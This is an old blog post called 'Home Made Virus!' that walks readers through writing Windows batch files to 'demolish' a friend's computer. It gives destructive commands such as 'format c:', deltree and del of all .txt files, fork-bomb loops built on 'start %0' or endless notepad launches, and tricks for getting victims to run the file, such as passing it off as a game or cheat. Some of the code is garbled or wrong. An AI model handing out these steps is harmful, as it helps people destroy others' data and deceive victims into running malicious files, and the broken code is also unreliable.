Saturday, November 24, 2007

Home Made Virus!

Do you Hate your friend? Want to demolish his computer?

Then you got to do this.....!!!

Here are some steps to create a Virus. Yes, that Computer virus that INFECTS the Computer.

Use any Text Editor.

Index

1. Tools

2. What makes a virus a virus?

3. Making your first batch file

4. Making a batch virus

5. Destructive commands

6. Most common tricks used to make someone open the file


Go on step by step

1. Tools

To make a batch program you will need a text program (ex. Word, Notepad, WordPad, etc…) A keyboard if you don’t have one you can use the ON-screen keyboard.

To get to the on-screen keyboard, Go to:

Start è All Programs è Accessories è Accessibility

2. What makes a virus a virus?

When people think of a virus they think of a computer virus but the word virus came from a virus that’s in your body. They also think a virus is meant to delete or destroy things. They normally do but a virus is called a virus because, it copies itself. Like a virus in your body it copies itself to other cells because it can’t live without a host. Same with the computer virus. Without a file or a program a virus can’t be made. So all the computer viruses are a program that copies itself, but some people put destructive code in it.

3. Making a Batch file

I’m going to use notepad you can use what ever you want.

We are also going to make a “Hello World” Application that is the first program you make in any language. When making a batch file you are always going to use this line first

@echo off

You can turn it on if you like. All that does is telling the program not to tell its location. If you turn it on then the program will tell were it is at on the computer. You can experiment a little if you want.

Now we are going to make it say Hello World. To do this we need a ‘echo’ command which looks like this -

echo

This tells the program to write something. Since we want it to say Hello World we are going to type Hello World next to echo to make it look like this -

echo Hello World

So at this point you should have -

@echo off

echo Hello World

Now go to file save and name it ‘test.bat’. (You can name it whatever you want as long as it has .bat at the end.) Save it to the desktop so you can get to it faster. Then run it. You should have a black box open and close really fast. To fix this we need a ‘pause’ command and we will also need a ‘goto’ command. The goto command is the most important command. If you don't know, the goto command tells where to go to next. Since we need a pause command we want it to go to pause so we need to write goto pause like this -

goto pause

Now u should have -

@echo off

echo Hello World

goto pause

Now we need a subsection name pause. You make a sub section by putting a ‘ : ‘ (colon) by the first word like this -

:start

or

:end

But we said go to pause so we need one name pause like this

pause

then under that we are going to write pause

pause

pause

This just makes it were it will keep the box open till you press a key

Optional

At the end you can put a ‘exit’ at the end of pause where the goto command should go, but you don’t have to.

Save and run it now. You should be able to read your text now.

4. Making a Batch file into a virus

This is a lot easier then some people think. To make a virus you just need the ‘copy’ command which looks like this -

copy

So let’s make a new one. By reading Section 3 you should know you need the @echo off

@echo off

copy

All right we are going to name this file first and we are going to make it copy itself to C:\WINDOWS just because no one looks in their. This is what it looks like (I will explain it). -

@echo off

copy first C:\WINDOWS

copy - tells it to copy

first - is just the name of the file we want to copy

C:\WINDOWS - is the place you want to copy to

That is a virus!

5. Destructive commands

If you get pissed at someone you might want to send him something to mess with him. Here are some commands to add to the virus.

del - this deletes the files.

del file name

del (.txt*)

The (.txt*) would delete all txt files on the computer. The * at the end just means all instead of a file called .txt

deltree - this deletes the whole folder.

You can remember it like this -

Think of a tree. If you type ‘del’ you are only deleting a part of the tree, but if you type ‘deltree’ you are deleting the whole tree.

format - this deletes everything.

format c:

this delets everything in the c drive

open - This is just fun to use to scare some one but not do damage to something

open - name of file type, like to open notepad type -

open notepad

To open Microsoft Paint type -

open mspaint

Just put a crap load in their. Also, the next one that can be very useful is looping. This will make the file repeat itself till it is shut off. Say your first sub section is called start. You would just make the goto command to go to start like -

@echo off

:start

start notepad

goto start

That will open notepad over and over and if they don’t close it, it can crash their computer. To open the command window you have to use ‘var’. like %% (not going to explain var. it would be confusing)

@echo off

:whatever

start %0

goto whatever

This will open the black box over and over.

6. Most common tricks

People we will put it in a folder with a couple of readme documents, and call it a game. We will say - Check this out it is so cool!

OR

We will say - check out this hack or cheat I found for this game

Send them a zip file, and tell them to unzip.

Examples

For just a simple message it is -

@echo off

echo *insert MSG here*

goto pause

ause

pause

For the a rapid command prompt type screen it is -

@echo off

:whatever

start %0

goto whatever

For rapid note pad it is -

@echo off

:start

start notepad

goto start

For rapid ms paint it is -

@echo off

:start

start ms paint

goto start

Quite Long but good to try...



Technorati

Technorati Profile

1 comment:

Sean Hudson said...

your awesome man, thanks

Earn $$ with WidgetBucks!
Add to Technorati Favorites